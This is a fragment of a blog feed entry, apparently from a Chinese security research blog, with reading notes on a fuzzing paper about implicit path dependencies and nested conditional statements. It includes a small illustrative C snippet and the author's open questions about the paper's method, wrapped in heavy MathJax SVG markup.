336Q290 115 290 78Q290 50 306 38T341 26Q378 26 414 59T463 140Q466 150 469 151T485 153H489Q504 153 504 145Q504 144 502 134Q486 77 440 33T333 -11Q263 -11 227 52Q186 -10 133 -10H127Q78 -10 57 16T35 71Q35 103 54 123T99 143Q142 143 142 101Q142 81 130 66T107 46T94 41L91 40Q91 39 97 36T113 29T132 26Q168 26 194 71Q203 87 217 139T245 247T261 313Q266 340 266 352Q266 380 251 392T217 404Q177 404 142 372T93 290Q91 281 88 280T72 278H58Q52 284 52 289Z"></path></g><g data-mml-node="mo" transform="translate(850,0)"><path data-c="2C" d="M78 35T78 60T94 103T137 121Q165 121 187 96T210 8Q210 -27 201 -60T180 -117T154 -158T130 -185T117 -194Q113 -194 104 -185T95 -172Q95 -168 106 -156T131 -126T157 -76T173 -3V9L172 8Q170 7 167 6T161 3T152 1T140 0Q113 0 96 17Z"></path></g><g data-mml-node="mi" transform="translate(1294.7,0)"><path data-c="1D466" d="M21 287Q21 301 36 335T84 406T158 442Q199 442 224 419T250 355Q248 336 247 334Q247 331 231 288T198 191T182 105Q182 62 196 45T238 27Q261 27 281 38T312 61T339 94Q339 95 344 114T358 173T377 247Q415 397 419 404Q432 431 462 431Q475 431 483 424T494 412T496 403Q496 390 447 193T391 -23Q363 -106 294 -155T156 -205Q111 -205 77 -183T43 -117Q43 -95 50 -80T69 -58T89 -48T106 -45Q150 -45 150 -87Q150 -107 138 -122T115 -142T102 -147L99 -148Q101 -153 118 -160T152 -167H160Q177 -167 186 -165Q219 -156 247 -127T290 -65T313 -9T321 21L315 17Q309 13 296 6T270 -6Q250 -11 231 -11Q185 -11 150 11T104 82Q103 89 103 113Q103 170 138 262T173 379Q173 380 173 381Q173 390 173 393T169 400T158 404H154Q131 404 112 385T82 344T65 302T57 280Q55 278 41 278H27Q21 284 21 287Z"></path></g><g data-mml-node="mo" transform="translate(1784.7,0)"><path data-c="5D" d="M22 710V750H159V-250H22V-210H119V710H22Z"></path></g><g data-mml-node="mo" transform="translate(2340.4,0)"><path data-c="3D" d="M56 347Q56 360 70 367H707Q722 359 722 347Q722 336 708 328L390 327H72Q56 332 56 347ZM56 153Q56 168 72 173H708Q722 163 722 153Q722 140 707 133H70Q56 140 56 153Z"></path></g><g data-mml-node="mo" transform="translate(3396.2,0)"><path data-c="5B" d="M118 -250V750H255V710H158V-210H255V-250H118Z"></path></g><g data-mml-node="mn" transform="translate(3674.2,0)"><path data-c="31" d="M213 578L200 573Q186 568 160 563T102 556H83V602H102Q149 604 189 617T245 641T273 663Q275 666 285 666Q294 666 302 660V361L303 61Q310 54 315 52T339 48T401 46H427V0H416Q395 3 257 3Q121 3 100 0H88V46H114Q136 46 152 46T177 47T193 50T201 52T207 57T213 61V578Z"></path></g><g data-mml-node="mo" transform="translate(4174.2,0)"><path data-c="2C" d="M78 35T78 60T94 103T137 121Q165 121 187 96T210 8Q210 -27 201 -60T180 -117T154 -158T130 -185T117 -194Q113 -194 104 -185T95 -172Q95 -168 106 -156T131 -126T157 -76T173 -3V9L172 8Q170 7 167 6T161 3T152 1T140 0Q113 0 96 17Z"></path></g><g data-mml-node="mn" transform="translate(4618.9,0)"><path data-c="33" d="M127 463Q100 463 85 480T69 524Q69 579 117 622T233 665Q268 665 277 664Q351 652 390 611T430 522Q430 470 396 421T302 350L299 348Q299 347 308 345T337 336T375 315Q457 262 457 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。（但是我认为这样做理论上并没有问题，例如L4中<em>n</em>也被<em>tainted</em>,作者认为是<em>useless</em>，就算它是<em>useless</em>也不会影响其他的东西，考虑到因为这些污点导致更深的传递过程，也是合乎情理的，这属于一种<em>indirect tainted</em>,我猜测处理它的难点在于与之关联的<em>input bytes</em>不好做对应，这个过程需要手工的添加一些额外的<em>taint rule</em>）</p><p>作者并不想按照通常的手法来操作，而是通过相关的策略把隐式污点过程筛出来：假设当前的 <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.439ex" xmlns="http://www.w3.org/2000/svg" width="5.387ex" height="1.934ex" role="img" focusable="false" viewBox="0 -661 2381 855"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D456" d="M184 600Q184 624 203 642T247 661Q265 661 277 649T290 619Q290 596 270 577T226 557Q211 557 198 567T184 600ZM21 287Q21 295 30 318T54 369T98 420T158 442Q197 442 223 419T250 357Q250 340 236 301T196 196T154 83Q149 61 149 51Q149 26 166 26Q175 26 185 29T208 43T235 78T260 137Q263 149 265 151T282 153Q302 153 302 143Q302 135 293 112T268 61T223 11T161 -11Q129 -11 102 10T74 74Q74 91 79 106T122 220Q160 321 166 341T173 380Q173 404 156 404H154Q124 404 99 371T61 287Q60 286 59 284T58 281T56 279T53 278T49 278T41 278H27Q21 284 21 287Z"></path></g><g data-mml-node="mi" transform="translate(345,0)"><path data-c="1D45B" d="M21 287Q22 293 24 303T36 341T56 388T89 425T135 442Q171 442 195 424T225 390T231 369Q231 367 232 367L243 378Q304 442 382 442Q436 442 469 415T503 336T465 179T427 52Q427 26 444 26Q450 26 453 27Q482 32 505 65T540 145Q542 153 560 153Q580 153 580 145Q580 144 576 130Q568 101 554 73T508 17T439 -10Q392 -10 371 17T350 73Q350 92 386 193T423 345Q423 404 379 404H374Q288 404 229 303L222 291L189 157Q156 26 151 16Q138 -11 108 -11Q95 -11 87 -5T76 7T74 17Q74 30 112 180T152 343Q153 348 153 366Q153 405 129 405Q91 405 66 305Q60 285 60 284Q58 278 41 278H27Q21 284 21 287Z"></path></g><g data-mml-node="mi" transform="translate(945,0)"><path data-c="1D45D" d="M23 287Q24 290 25 295T30 317T40 348T55 381T75 411T101 433T134 442Q209 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inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.023ex" xmlns="http://www.w3.org/2000/svg" width="1.061ex" height="1.023ex" role="img" focusable="false" viewBox="0 -442 469 452"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D460" d="M131 289Q131 321 147 354T203 415T300 442Q362 442 390 415T419 355Q419 323 402 308T364 292Q351 292 340 300T328 326Q328 342 337 354T354 372T367 378Q368 378 368 379Q368 382 361 388T336 399T297 405Q249 405 227 379T204 326Q204 301 223 291T278 274T330 259Q396 230 396 163Q396 135 385 107T352 51T289 7T195 -10Q118 -10 86 19T53 87Q53 126 74 143T118 160Q133 160 146 151T160 120Q160 94 142 76T111 58Q109 57 108 57T107 55Q108 52 115 47T146 34T201 27Q237 27 263 38T301 66T318 97T323 122Q323 150 302 164T254 181T195 196T148 231Q131 256 131 289Z"></path></g></g></g></svg></mjx-container></span> 是<em>reachable</em>的，但是经过<em>mutate</em>以后变成<em>unreachable</em>了。再额外运行两次，第一次记录<em>original input</em>过程中经过的路径条件，第二次记录<em>mutated input</em>过程中经历的路径，但是这个过程强制进入<em>original input</em>的路径选择，使其变成<em>reachable</em>,这两次得到的路径条件序列应该是相同的，按时间倒序检查它们的路径条件序列。</p><p>如果存在一个 <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.566ex" xmlns="http://www.w3.org/2000/svg" width="13.954ex" height="2.262ex" role="img" focusable="false" viewBox="0 -750 6167.6 1000"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D45F" d="M21 287Q22 290 23 295T28 317T38 348T53 381T73 411T99 433T132 442Q161 442 183 430T214 408T225 388Q227 382 228 382T236 389Q284 441 347 441H350Q398 441 422 400Q430 381 430 363Q430 333 417 315T391 292T366 288Q346 288 334 299T322 328Q322 376 378 392Q356 405 342 405Q286 405 239 331Q229 315 224 298T190 165Q156 25 151 16Q138 -11 108 -11Q95 -11 87 -5T76 7T74 17Q74 30 114 189T154 366Q154 405 128 405Q107 405 92 377T68 316T57 280Q55 278 41 278H27Q21 284 21 287Z"></path></g><g data-mml-node="mo" transform="translate(728.8,0)"><path data-c="2209" d="M196 25Q84 109 84 250Q84 372 166 450T360 539Q361 539 375 539T413 540T460 540L547 707Q550 716 563 716Q570 716 575 712T581 703T583 696T505 540H568Q583 532 583 520Q583 511 570 501L484 500L366 270H568Q583 262 583 250T568 230H346L247 38Q284 16 328 7Q355 1 466 0H570Q583 -10 583 -20Q583 -32 568 -40H471Q464 -40 447 -40T419 -41Q304 -41 228 3Q117 -211 115 -212Q111 -215 104 -215T92 -212T86 -204T84 -197Q84 -190 89 -183L196 25ZM214 61L301 230H124V228Q124 196 147 147T214 61ZM321 270L440 500Q353 499 329 494Q280 482 242 458T183 409T147 354T129 306T124 272V270H321Z"></path></g><g data-mml-node="mi" transform="translate(1673.6,0)"><path data-c="1D438" d="M492 213Q472 213 472 226Q472 230 477 250T482 285Q482 316 461 323T364 330H312Q311 328 277 192T243 52Q243 48 254 48T334 46Q428 46 458 48T518 61Q567 77 599 117T670 248Q680 270 683 272Q690 274 698 274Q718 274 718 261Q613 7 608 2Q605 0 322 0H133Q31 0 31 11Q31 13 34 25Q38 41 42 43T65 46Q92 46 125 49Q139 52 144 61Q146 66 215 342T285 622Q285 629 281 629Q273 632 228 634H197Q191 640 191 642T193 659Q197 676 203 680H757Q764 676 764 669Q764 664 751 557T737 447Q735 440 717 440H705Q698 445 698 453L701 476Q704 500 704 528Q704 558 697 578T678 609T643 625T596 632T532 634H485Q397 633 392 631Q388 629 386 622Q385 619 355 499T324 377Q347 376 372 376H398Q464 376 489 391T534 472Q538 488 540 490T557 493Q562 493 565 493T570 492T572 491T574 487T577 483L544 351Q511 218 508 216Q505 213 492 213Z"></path></g><g data-mml-node="mi" transform="translate(2437.6,0)"><path data-c="1D443" d="M287 628Q287 635 230 637Q206 637 199 638T192 648Q192 649 194 659Q200 679 203 681T397 683Q587 682 600 680Q664 669 707 631T751 530Q751 453 685 389Q616 321 507 303Q500 302 402 301H307L277 182Q247 66 247 59Q247 55 248 54T255 50T272 48T305 46H336Q342 37 342 35Q342 19 335 5Q330 0 319 0Q316 0 282 1T182 2Q120 2 87 2T51 1Q33 1 33 11Q33 13 36 25Q40 41 44 43T67 46Q94 46 127 49Q141 52 146 61Q149 65 218 339T287 628ZM645 554Q645 567 643 575T634 597T609 619T560 635Q553 636 480 637Q463 637 445 637T416 636T404 636Q391 635 386 627Q384 621 367 550T332 412T314 344Q314 342 395 342H407H430Q542 342 590 392Q617 419 631 471T645 554Z"></path></g><g data-mml-node="mi" transform="translate(3188.6,0)"><path data-c="1D45F" d="M21 287Q22 290 23 295T28 317T38 348T53 381T73 411T99 433T132 442Q161 442 183 430T214 408T225 388Q227 382 228 382T236 389Q284 441 347 441H350Q398 441 422 400Q430 381 430 363Q430 333 417 315T391 292T366 288Q346 288 334 299T322 328Q322 376 378 392Q356 405 342 405Q286 405 239 331Q229 315 224 298T190 165Q156 25 151 16Q138 -11 108 -11Q95 -11 87 -5T76 7T74 17Q74 30 114 189T154 366Q154 405 128 405Q107 405 92 377T68 316T57 280Q55 278 41 278H27Q21 284 21 287Z"></path></g><g data-mml-node="mi" transform="translate(3639.6,0)"><path data-c="1D456" d="M184 600Q184 624 203 642T247 661Q265 661 277 649T290 619Q290 596 270 577T226 557Q211 557 198 567T184 600ZM21 287Q21 295 30 318T54 369T98 420T158 442Q197 442 223 419T250 357Q250 340 236 301T196 196T154 83Q149 61 149 51Q149 26 166 26Q175 26 185 29T208 43T235 78T260 137Q263 149 265 151T282 153Q302 153 302 143Q302 135 293 112T268 61T223 11T161 -11Q129 -11 102 10T74 74Q74 91 79 106T122 220Q160 321 166 341T173 380Q173 404 156 404H154Q124 404 99 371T61 287Q60 286 59 284T58 281T56 279T53 278T49 278T41 278H27Q21 284 21 287Z"></path></g><g data-mml-node="mi" transform="translate(3984.6,0)"><path data-c="1D45C" d="M201 -11Q126 -11 80 38T34 156Q34 221 64 279T146 380Q222 441 301 441Q333 441 341 440Q354 437 367 433T402 417T438 387T464 338T476 268Q476 161 390 75T201 -11ZM121 120Q121 70 147 48T206 26Q250 26 289 58T351 142Q360 163 374 216T388 308Q388 352 370 375Q346 405 306 405Q243 405 195 347Q158 303 140 230T121 120Z"></path></g><g data-mml-node="mi" transform="translate(4469.6,0)"><path data-c="1D45F" d="M21 287Q22 290 23 295T28 317T38 348T53 381T73 411T99 433T132 442Q161 442 183 430T214 408T225 388Q227 382 228 382T236 389Q284 441 347 441H350Q398 441 422 400Q430 381 430 363Q430 333 417 315T391 292T366 288Q346 288 334 299T322 328Q322 376 378 392Q356 405 342 405Q286 405 239 331Q229 315 224 298T190 165Q156 25 151 16Q138 -11 108 -11Q95 -11 87 -5T76 7T74 17Q74 30 114 189T154 366Q154 405 128 405Q107 405 92 377T68 316T57 280Q55 278 41 278H27Q21 284 21 287Z"></path></g><g data-mml-node="mo" transform="translate(4920.6,0)"><path data-c="28" d="M94 250Q94 319 104 381T127 488T164 576T202 643T244 695T277 729T302 750H315H319Q333 750 333 741Q333 738 316 720T275 667T226 581T184 443T167 250T184 58T225 -81T274 -167T316 -220T333 -241Q333 -250 318 -250H315H302L274 -226Q180 -141 137 -14T94 250Z"></path></g><g data-mml-node="mi" transform="translate(5309.6,0)"><path data-c="1D460" d="M131 289Q131 321 147 354T203 415T300 442Q362 442 390 415T419 355Q419 323 402 308T364 292Q351 292 340 300T328 326Q328 342 337 354T354 372T367 378Q368 378 368 379Q368 382 361 388T336 399T297 405Q249 405 227 379T204 326Q204 301 223 291T278 274T330 259Q396 230 396 163Q396 135 385 107T352 51T289 7T195 -10Q118 -10 86 19T53 87Q53 126 74 143T118 160Q133 160 146 151T160 120Q160 94 142 76T111 58Q109 57 108 57T107 55Q108 52 115 47T146 34T201 27Q237 27 263 38T301 66T318 97T323 122Q323 150 302 164T254 181T195 196T148 231Q131 256 131 289Z"></path></g><g data-mml-node="mo" transform="translate(5778.6,0)"><path data-c="29" d="M60 749L64 750Q69 750 74 750H86L114 726Q208 641 251 514T294 250Q294 182 284 119T261 12T224 -76T186 -143T145 -194T113 -227T90 -246Q87 -249 86 -250H74Q66 -250 63 -250T58 -247T55 -238Q56 -237 66 -225Q221 -64 221 250T66 725Q56 737 55 738Q55 746 60 749Z"></path></g></g></g></svg></mjx-container></span> ,并且 <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.025ex" xmlns="http://www.w3.org/2000/svg" width="1.02ex" height="1.025ex" role="img" focusable="false" viewBox="0 -442 451 453"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D45F" d="M21 287Q22 290 23 295T28 317T38 348T53 381T73 411T99 433T132 442Q161 442 183 430T214 408T225 388Q227 382 228 382T236 389Q284 441 347 441H350Q398 441 422 400Q430 381 430 363Q430 333 417 315T391 292T366 288Q346 288 334 299T322 328Q322 376 378 392Q356 405 342 405Q286 405 239 331Q229 315 224 298T190 165Q156 25 151 16Q138 -11 108 -11Q95 -11 87 -5T76 7T74 17Q74 30 114 189T154 366Q154 405 128 405Q107 405 92 377T68 316T57 280Q55 278 41 278H27Q21 284 21 287Z"></path></g></g></g></svg></mjx-container></span> 前后两次路径选择并不一样，则有可能存在与 <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.023ex" xmlns="http://www.w3.org/2000/svg" width="1.061ex" height="1.023ex" role="img" focusable="false" viewBox="0 -442 469 452"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D460" d="M131 289Q131 321 147 354T203 415T300 442Q362 442 390 415T419 355Q419 323 402 308T364 292Q351 292 340 300T328 326Q328 342 337 354T354 372T367 378Q368 378 368 379Q368 382 361 388T336 399T297 405Q249 405 227 379T204 326Q204 301 223 291T278 274T330 259Q396 230 396 163Q396 135 385 107T352 51T289 7T195 -10Q118 -10 86 19T53 87Q53 126 74 143T118 160Q133 160 146 151T160 120Q160 94 142 76T111 58Q109 57 108 57T107 55Q108 52 115 47T146 34T201 27Q237 27 263 38T301 66T318 97T323 122Q323 150 302 164T254 181T195 196T148 231Q131 256 131 289Z"></path></g></g></g></svg></mjx-container></span> 的隐式路径依赖，需要进一步做验证，再跑一次<em>mutated input</em>，并且强制针对下面的路径条件和<em>original input</em>做到统一：</p><ul><li><p>所有在<em>r</em>之前的条件路径</p></li><li><p>所有显式的<em>effective prior conditional statements</em></p></li><li><p>所有已知的隐式的<em>effective prior conditional statements</em></p></li></ul><p>如果结果<em>s</em>是<em>unreachable</em>则 <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.025ex" xmlns="http://www.w3.org/2000/svg" width="1.02ex" height="1.025ex" role="img" focusable="false" viewBox="0 -442 451 453"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D45F" d="M21 287Q22 290 23 295T28 317T38 348T53 381T73 411T99 433T132 442Q161 442 183 430T214 408T225 388Q227 382 228 382T236 389Q284 441 347 441H350Q398 441 422 400Q430 381 430 363Q430 333 417 315T391 292T366 288Q346 288 334 299T322 328Q322 376 378 392Q356 405 342 405Q286 405 239 331Q229 315 224 298T190 165Q156 25 151 16Q138 -11 108 -11Q95 -11 87 -5T76 7T74 17Q74 30 114 189T154 366Q154 405 128 405Q107 405 92 377T68 316T57 280Q55 278 41 278H27Q21 284 21 287Z"></path></g></g></g></svg></mjx-container></span> 确定是存在的隐式路径依赖，我举个小例子，帮助理解和回忆：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">y=<span class="number">0</span>;</span><br><span class="line">z=input();</span><br><span class="line"><span class="keyword">if</span>(z){</span><br><span class="line">y=<span class="number">1</span>;</span><br><span class="line">  x=<span class="number">2</span>;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>(y){</span><br><span class="line">useless=<span class="number">1</span>;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>(x==<span class="number">2</span>){ </span><br><span class="line"><span class="keyword">if</span>(a==<span class="number">19970131</span>){<span class="comment">//target conditional statement</span></span><br><span class="line">    <span class="comment">//...</span></span><br><span class="line">  }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>假设<em>original input</em>对L13是<em>reachable</em>，但是<em>mutated input</em>是<em>unreachable</em>.两次的路径序列：</p><ul><li>L4:true;L8:true;L12:true</li><li>L4:false;L8:false;L12:false</li></ul><p>逆序比较:</p><ul><li><p>L12不属于 <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.566ex" xmlns="http://www.w3.org/2000/svg" width="10.167ex" height="2.262ex" role="img" focusable="false" viewBox="0 -750 4494 1000"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D438" d="M492 213Q472 213 472 226Q472 230 477 250T482 285Q482 316 461 323T364 330H312Q311 328 277 192T243 52Q243 48 254 48T334 46Q428 46 458 48T518 61Q567 77 599 117T670 248Q680 270 683 272Q690 274 698 274Q718 274 718 261Q613 7 608 2Q605 0 322 0H133Q31 0 31 11Q31 13 34 25Q38 41 42 43T65 46Q92 46 125 49Q139 52 144 61Q146 66 215 342T285 622Q285 629 281 629Q273 632 228 634H197Q191 640 191 642T193 659Q197 676 203 680H757Q764 676 764 669Q764 664 751 557T737 447Q735 440 717 440H705Q698 445 698 453L701 476Q704 500 704 528Q704 558 697 578T678 609T643 625T596 632T532 634H485Q397 633 392 631Q388 629 386 622Q385 619 355 499T324 377Q347 376 372 376H398Q464 376 489 391T534 472Q538 488 540 490T557 493Q562 493 565 493T570 492T572 491T574 487T577 483L544 351Q511 218 508 216Q505 213 492 213Z"></path></g><g data-mml-node="mi" transform="translate(764,0)"><path data-c="1D443" d="M287 628Q287 635 230 637Q206 637 199 638T192 648Q192 649 194 659Q200 679 203 681T397 683Q587 682 600 680Q664 669 707 631T751 530Q751 453 685 389Q616 321 507 303Q500 302 402 301H307L277 182Q247 66 247 59Q247 55 248 54T255 50T272 48T305 46H336Q342 37 342 35Q342 19 335 5Q330 0 319 0Q316 0 282 1T182 2Q120 2 87 2T51 1Q33 1 33 11Q33 13 36 25Q40 41 44 43T67 46Q94 46 127 49Q141 52 146 61Q149 65 218 339T287 628ZM645 554Q645 567 643 575T634 597T609 619T560 635Q553 636 480 637Q463 637 445 637T416 636T404 636Q391 635 386 627Q384 621 367 550T332 412T314 344Q314 342 395 342H407H430Q542 342 590 392Q617 419 631 471T645 554Z"></path></g><g data-mml-node="mi" transform="translate(1515,0)"><path data-c="1D45F" d="M21 287Q22 290 23 295T28 317T38 348T53 381T73 411T99 433T132 442Q161 442 183 430T214 408T225 388Q227 382 228 382T236 389Q284 441 347 441H350Q398 441 422 400Q430 381 430 363Q430 333 417 315T391 292T366 288Q346 288 334 299T322 328Q322 376 378 392Q356 405 342 405Q286 405 239 331Q229 315 224 298T190 165Q156 25 151 16Q138 -11 108 -11Q95 -11 87 -5T76 7T74 17Q74 30 114 189T154 366Q154 405 128 405Q107 405 92 377T68 316T57 280Q55 278 41 278H27Q21 284 21 287Z"></path></g><g data-mml-node="mi" transform="translate(1966,0)"><path data-c="1D456" d="M184 600Q184 624 203 642T247 661Q265 661 277 649T290 619Q290 596 270 577T226 557Q211 557 198 567T184 600ZM21 287Q21 295 30 318T54 369T98 420T158 442Q197 442 223 419T250 357Q250 340 236 301T196 196T154 83Q149 61 149 51Q149 26 166 26Q175 26 185 29T208 43T235 78T260 137Q263 149 265 151T282 153Q302 153 302 143Q302 135 293 112T268 61T223 11T161 -11Q129 -11 102 10T74 74Q74 91 79 106T122 220Q160 321 166 341T173 380Q173 404 156 404H154Q124 404 99 371T61 287Q60 286 59 284T58 281T56 279T53 278T49 278T41 278H27Q21 284 21 287Z"></path></g><g data-mml-node="mi" transform="translate(2311,0)"><path data-c="1D45C" d="M201 -11Q126 -11 80 38T34 156Q34 221 64 279T146 380Q222 441 301 441Q333 441 341 440Q354 437 367 433T402 417T438 387T464 338T476 268Q476 161 390 75T201 -11ZM121 120Q121 70 147 48T206 26Q250 26 289 58T351 142Q360 163 374 216T388 308Q388 352 370 375Q346 405 306 405Q243 405 195 347Q158 303 140 230T121 120Z"></path></g><g data-mml-node="mi" transform="translate(2796,0)"><path data-c="1D45F" d="M21 287Q22 290 23 295T28 317T38 348T53 381T73 411T99 433T132 442Q161 442 183 430T214 408T225 388Q227 382 228 382T236 389Q284 441 347 441H350Q398 441 422 400Q430 381 430 363Q430 333 417 315T391 292T366 288Q346 288 334 299T322 328Q322 376 378 392Q356 405 342 405Q286 405 239 331Q229 315 224 298T190 165Q156 25 151 16Q138 -11 108 -11Q95 -11 87 -5T76 7T74 17Q74 30 114 189T154 366Q154 405 128 405Q107 405 92 377T68 316T57 280Q55 278 41 278H27Q21 284 21 287Z"></path></g><g data-mml-node="mo" transform="translate(3247,0)"><path data-c="28" d="M94 250Q94 319 104 381T127 488T164 576T202 643T244 695T277 729T302 750H315H319Q333 750 333 741Q333 738 316 720T275 667T226 581T184 443T167 250T184 58T225 -81T274 -167T316 -220T333 -241Q333 -250 318 -250H315H302L274 -226Q180 -141 137 -14T94 250Z"></path></g><g data-mml-node="mi" transform="translate(3636,0)"><path data-c="1D460" d="M131 289Q131 321 147 354T203 415T300 442Q362 442 390 415T419 355Q419 323 402 308T364 292Q351 292 340 300T328 326Q328 342 337 354T354 372T367 378Q368 378 368 379Q368 382 361 388T336 399T297 405Q249 405 227 379T204 326Q204 301 223 291T278 274T330 259Q396 230 396 163Q396 135 385 107T352 51T289 7T195 -10Q118 -10 86 19T53 87Q53 126 74 143T118 160Q133 160 146 151T160 120Q160 94 142 76T111 58Q109 57 108 57T107 55Q108 52 115 47T146 34T201 27Q237 27 263 38T301 66T318 97T323 122Q323 150 302 164T254 181T195 196T148 231Q131 256 131 289Z"></path></g><g data-mml-node="mo" transform="translate(4105,0)"><path data-c="29" d="M60 749L64 750Q69 750 74 750H86L114 726Q208 641 251 514T294 250Q294 182 284 119T261 12T224 -76T186 -143T145 -194T113 -227T90 -246Q87 -249 86 -250H74Q66 -250 63 -250T58 -247T55 -238Q56 -237 66 -225Q221 -64 221 250T66 725Q56 737 55 738Q55 746 60 749Z"></path></g></g></g></svg></mjx-container></span> ，按照验证算法，这里是L13是<em>unreachable</em>的，所以L12属于隐式的<em>effective prior conditional statement</em></p></li><li><p>L8不属于 <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.566ex" xmlns="http://www.w3.org/2000/svg" width="10.167ex" height="2.262ex" role="img" focusable="false" viewBox="0 -750 4494 1000"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D438" d="M492 213Q472 213 472 226Q472 230 477 250T482 285Q482 316 461 323T364 330H312Q311 328 277 192T243 52Q243 48 254 48T334 46Q428 46 458 48T518 61Q567 77 599 117T670 248Q680 270 683 272Q690 274 698 274Q718 274 718 261Q613 7 608 2Q605 0 322 0H133Q31 0 31 11Q31 13 34 25Q38 41 42 43T65 46Q92 46 125 49Q139 52 144 61Q146 66 215 342T285 622Q285 629 281 629Q273 632 228 634H197Q191 640 191 642T193 659Q197 676 203 680H757Q764 676 764 669Q764 664 751 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statement</em></p></li></ul><p>奇怪得到的结果却是L3不属于隐式的<em>effective prior conditional statement</em>,原文中的逆序比较似乎不合理？这个演算结果我没有想到。</p><h3 id="x01-self-conclusion">0x01 Self Conclusion</h3><p>在看Angora我就有一个疑问，关于梯度下降算法，因为无法保证目标路径分支是<em>reachable</em>的，所以计算梯度得到的结果是毫无意义的，在这篇文章里面给了我想要的答案，作者似乎修补了这个很重要的问题，用<em>force</em>的方法，保证两次走过的路径条件一样。疑问又来了，这样做的理论依据在哪呢？</p>]]></content>
    
    
      
      
    <summary type="html">&lt;h3 id=&quot;x00-questions&quot;&gt;0x00 Questions&lt;/h3&gt;
&lt;p&gt;这篇文章意在解决“嵌套”的条件结构（注意这里的嵌套并不是狭义上控制结构嵌套），这是一个比较难处理的问题，在找到一个能触发新分支 &lt;span class=&quot;math inline&quot;&gt;&lt;mjx</summary>
      
    
    
    
    <category term="paper" scheme="https://m4p1e.com/categories/paper/"/>
    
    
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